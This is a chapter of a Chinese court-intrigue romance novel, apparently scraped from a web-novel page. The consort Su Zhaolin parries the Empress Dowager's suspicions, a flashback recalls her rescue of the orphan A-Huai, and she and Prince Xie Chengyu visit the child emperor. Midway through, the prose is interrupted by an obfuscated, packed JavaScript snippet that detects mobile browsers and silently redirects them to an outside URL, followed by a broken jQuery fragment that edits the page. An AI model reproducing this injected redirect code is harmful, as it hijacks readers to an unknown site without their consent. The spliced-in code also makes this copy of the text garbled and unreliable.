慈晖宫的宫人看清来人后,急急向宫内报去:“煜王爷来了。”
厅外的雨继续噼噼啪啪地砸着,苏朝琳不解谢承煜是何用意,身体不自觉地绷紧。
厅内众人的目光皆若有若无地落在了这位新婚的煜王妃脸上,这样大的雨,明德殿离慈晖宫还是有一段距离的,王爷是特意冒雨前来接她的,这煜王妃竟会如此得宠。
太后果然也没有轻易放过这一点不寻常,试探着问向苏朝琳:“本宫听闻昨晚煜王去了趟兵部,王妃可知是发生了何事?”
苏朝琳感受到厅内变得微妙的气氛,一脸真诚地回道:“昨晚王爷歇在宸极院,兵部的事王爷怎会说与臣妾,臣妾不知。”
太后眯起眼打量着她,似乎想要从她漂亮真挚的面上找出一丝裂缝,可惜苏朝琳依旧十分镇定,没露出破绽来。
太后:“哀家提醒你一句,男人是这世上最靠不住的东西,你可以笼络,但是要动了其他心思,那就是自寻死路。”
苏朝琳:“是,臣妾多谢太后娘娘提点。”
太后:“秦嬷嬷,把哀家备好的两份赏赐带给王妃,让小淮子送王妃出去吧,本宫乏了,跟王爷说他不必进来叩拜。”
苏朝琳松了口气,接过赏赐后谢了恩,跟着淮公公朝外走去。
阿淮的伞打得偏,自己的肩膀湿了大半,嘈杂的雨声盖过他的声音:“主人,前些日子高珣为他儿子的事求到太后跟前,今日煜王又非要冒雨前来,太后起疑了。”
苏朝琳:“嗯,谢承煜的这份心思倒是有些麻烦,太后疑心已起,便不会轻易放下,我们只能走一步看一步了。”
二人行至慈晖宫门口,谢承煜也刚到,他本就生得高大,苏朝琳又被伞遮着,只得抬起头去看他,朱墨色的伞柄衬得那人骨节分明的大手十分剔透,虎口处常年握刀磨出的薄茧却有些刺眼。
而那人也低着头看向她,那双幽暗的桃花眼里带着些急切,苏朝琳顿时明白他为何要亲自来了,他是故意的。
淮公公:“奴婢见过煜王爷,太后娘娘打发奴婢来和王爷说一声,您不必再进宫去叩拜,接了王妃直接去承乾宫就可。”
谢承煜没接话,只盯着苏朝琳看,苏朝琳抬脚跨过慈晖宫高高的门槛,凑进谢承煜的伞底却没再看他,也没注意到那人眼里的急切一瞬转为了安心。
苏朝琳回头对着阿淮说:“有劳淮公公了,请淮公公吃杯茶,还望公公笑纳。”
说着摸出一把金豆子塞进了阿淮手里。
“王妃客气了。”阿淮浅笑着回道,露出可爱的小虎牙。
他看着雨雾里那把黄琮色的油纸伞下穿着同款礼服渐行渐远的二人,手里的金豆子被他小心翼翼地从领口装进衣服贴近心口的口袋里,那个口袋里还静静地躺着一枚崇宁年间铸的铜板。
“拿去埋了你的家人吧。”
崇宁三年,江南也是这样的大雨,田里新插的春苗已经被淹毁,可雨还是不肯停,祖母祖父和阿淮三人从山里逃荒出来,到了苏州街上苏家赈灾的粥棚时,他找了个角落安顿好两位老人,自己撑着最后一丝力气去排队领粥。
当他颤颤巍巍的用破碗捧回半碗粥时,两位老人却再也叫不醒了,那样远那样崎岖泥泞的山路他们一家人互相扶持着都走出来了,怎么会这样?!
瘦小的少男捧着掺杂了雨水的半碗粥不知所措地愣在原地,村里很多人都逃荒去了,只留下些走不动道的老人等着饿死,阿淮不肯抛下祖母祖父自己逃命。
阿淮是孤儿,被人扔在村口的破庙台阶上,被年迈的祖母祖父捡回家,将他养大,往年虽然朝廷常年征战的赋税重些,但是她们三个人吃的不多,再加上一些野菜野果,偶尔山里打个野味,省一省度日还是没问题的。
可惜就是那一年,春耕的粮食种下去不久就开始连日不停的暴雨,村里人家家户户的存粮都吃了个干净,山都啃秃了,雨水冲着泥沙淹过村庄。
可是两位老人却坚持要走,她们知道如果不走,阿淮一定会在在村里守着她们,把自己也饿死。
她们撑着最后一口气带阿淮从山里逃出来,却再没有一丝力气等半碗粥了。
那年苏朝琳十六岁,她正和祖母带着仆人在自己粥棚施粥,她小时候虽然也过了一段颠沛流离的逃亡日子,但是那时师傅、祖母和神策营旧部护着她,她们回到苏州时,得祖母好友暗中救助,隐姓埋名也算是逐渐安稳下来了。
她看着眼前这些衣衫褴褛、流离失所的灾民,从小身边的人就都是为了她活着,她复国的雄心壮志不是她一人的壮志,她突然有些恨谢家抢去了皇位却还是让百姓过这样的苦日子。
就是这样暗沉的雨天,她看到了捧个破碗站在角落里无声哭泣的阿淮,苏朝琳由仆人撑着伞走到他身旁,那少男浑身狼狈不堪,乱糟糟的头发被雨打地贴在脸上,却遮不住那张清秀倔强的脸庞。
仆人探了探两位老人的鼻息:“主子,人没了。”
阿淮无声隐忍的哭泣在听到仆人的话后瞬时崩塌,他嚎啕大哭,边嚎边把半碗稀粥灌进嘴里后,跪在苏朝琳脚边还未鼓足勇气开口,没想到那位仙姿玉貌的少女却率先出了声:
“拿去埋了你的家人吧。”
明明在那样混乱拥挤的粥棚,那样阴暗深沉的大雨天,但他却在那一瞬间感受到了秋收后晒谷时,田地里温暖又不刺人的阳光,给人无限希冀。
一贯铜板被塞进了他的手里。
阿淮至今都记得那贯冰冷的铜板和少女干燥温暖的手指,安葬了祖母祖父后仅剩的那枚铜板这么多年都被他贴心放着。
谢承煜缩小步子,顺着苏朝琳的步距走,苏朝琳的脸色比这天气还要阴沉,他知道是因为自己适才的唐突。
虽然明知她在太后身边不会出什么事,但是谢承煜心里就是不愿她和慈晖宫里那位相处太久,一散朝就急匆匆向这边赶过来了。
他伸手接过苏朝琳手里的盒子,有些尴尬地开口道:“皇上请了王妃去承乾宫。”
“王爷还亲自来一趟,雨这样大,冻坏了您的身子就是臣妾的罪过了,怎得不差人过来通报一声?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640985|172712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏朝琳有些嘲讽地回道,这个男人是故意这么做的,好让太后觉得自己对他很重要,故意让太后疑心自己。
“王妃真是阔绰,随手就给出去那么一把金豆子?”谢承煜像是没听懂一样继续找话聊。
苏朝琳失笑,侧头看了谢承煜一眼:
“臣妾给王爷的不是更多么?”
谢承煜想起她之前每晚的“拜访”和银票,这个女人不管对谁都是先用钱收买。
也不知道她又是用了多少钱收买太后,真是胆大包天,敢和太后做交易,太后向她索取的肯定不止是银钱。
他想了想,突然转身面向苏朝琳站定,郑重其事地说道:“太后能给你的,本王也给得起,你可愿意要?”
苏朝琳抬头对上他的眼神,他就这样撑着把伞站在宫道上,朱墙金瓦都在这样的暴雨中失色,那人的眼神却是那样的清晰透亮。
苏朝琳也有一瞬为他不掺一丝杂念的眼神动容,居然真的有一个人明知自己对他有所图谋,却不向她索取什么,只问她愿不愿意要,真傻。
快到承乾殿时雨小了很多,苏朝琳终于有机会看清这皇宫巍峨的主殿之一——承乾殿,这里是小皇帝上课学习的地方,主殿辟了一块地方给谢承煜批阅奏折,他每晚都会亲自陪小皇帝做功课。
太后不大爱管小皇帝,鲜少露面,连每日的请安都免了,只初一十五允许小皇帝去慈晖宫一起用膳,克己复礼到前朝那些酸儒大臣连“指摘”她的机会都没有。
这两年倒是谢承煜事事躬亲,叔侄二人算得上是形影不离了。
承乾殿里,小皇帝本来正在习字,听太监通传煜王和王妃到了,他正想立刻召人进来,却看到太师狠狠瞪了一眼通传的小太监。
太师总是教导他做帝王要有泰山崩于前而色不变的定力,他没敢吭声愣是习完了整副帖子,才召人进来。
苏朝琳只在中秋宴上见过小皇帝一面,记得他小小的人坐在大大的龙椅里有些别扭,很怯懦安静的一个小孩,丝毫没有九五之尊排山倒海的气质。
也许是谢家人都善于伪装,面上都是一副副纯良的模样,实际却在等机会反咬你一口。
谢稷珩早就赏赐了远超亲王规格的新婚贺礼给谢承煜,太师叮嘱他千万不可继续赏东西给皇叔了,福祸相依,他作为帝王要懂得平衡,不可偏宠任何一个人。
他坐在龙椅上看着二人行完礼,太师暂时退去了偏殿后,他才带着五岁小孩特有的兴奋与天真:
“叫煜王妃有些生分了,私下里朕以后还是叫你皇婶吧?”
“万万不可,皇上真是折煞臣妾了。”
苏朝琳虽然尽力表现得谨小慎微,但是谢承煜却听出了她语气里的冷漠和疏离。
果然小皇帝的表情立刻变得有些委屈,他蹙眉看向谢承煜,试图让皇叔劝劝他的王妃,别人对他的恩典都是求之不得呢,王妃却连这个小小的恩典都不愿意要。
他想不通。
谢承煜也不想不通,苏朝琳在宫道问自己的那句:“夫君你为何不愿更近一步?”